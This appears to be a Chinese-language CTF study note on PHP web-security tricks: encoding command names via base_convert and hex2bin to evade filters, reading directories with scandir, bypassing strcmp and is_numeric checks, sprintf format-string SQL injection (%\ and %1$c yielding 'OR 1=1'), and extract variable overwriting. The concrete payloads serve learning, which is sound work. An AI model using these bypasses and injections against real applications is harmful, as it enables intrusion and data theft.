绕过函数
base_convert
可用以绕过执行一些系统命令
base_convert('phpinfo',36,10) ==> 55490343972
base_convert(55490343972,10,36)() ==> phpinfo()
hex2bin
dechex
hexdec
例:cat *的16进制为636174202a
hexdec(636174202a) ==> 426836762666
hex2bin(dechex(426836762666)) ==> cat *
读取数据函数
scandir
readfile
chr
var_dump
var_dump(scandir(chr(47))) 读取当前目录文件
show_source
可现显示php代码,用于data://
协议中来读取代码
漏洞函数
strcmp
int strcmp(string $str1, string $str2)
str1
为第一个字符串,str2
为第二个字符串,如果str1
小于str2
返回<0
如果str1
大于str2
返回>0
;如果二者相等,返回0
但是当我们传入数组的时候,函数接收到不合法的字符后会报错,但是在php5.3之前的php中,显示了报错的警告信息后将return 0
;意思是就算报了错,但判定结果还是相等的,即可通过数组进行绕过
is_numeric
函数检测变量是否为数字或数字字符串,是则返回true
,否则返回false
,但是该函数对于空字符(如:%00
,%20
)则会直接跳过空字符判断,执行后面的语句,是判断则会接着继续后面的判断,注:%20
放在字符串首则无效,例:
sprintf()
参考:http://bey0nd.xyz/2018/11/05/1/
sprintf(format,arg1,arg2,arg++)
arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成。
反斜杠单引号逃逸
<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo sprintf ( $sql , $args ) ;
=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
此时%\回去匹配admin字符串,但是%\
只会匹配空
运行后的结果select * from user where username = '' and 1=1#'
<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
对$input
与$b
进行了拼接$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
很明显,这个句子里面的\
是由addsashes
为了转义单引号而加上的,使用%s
与%1$\
类匹配admin
,那么admin
只会出现在%s
里,%1$\
为空echo $sql ;
运行后的结果SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
%c利用
<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo $sql ;
%c
起到了类似chr()
的效果,将数字39转化为'
,从而导致了sql注入。
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39
extract
extract()
函数从数组中将变量导入到当前的符号表。参考
如果未设置EXTR_SKIP
,则会导致变量覆盖,参考
注:覆盖的是原来已经设置的或没设置的值,如果在函数后面又重新设置了这个值,则会再覆盖回去,可以参考本博客的反序列化-安洵杯-2019-easy_serialize_php
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues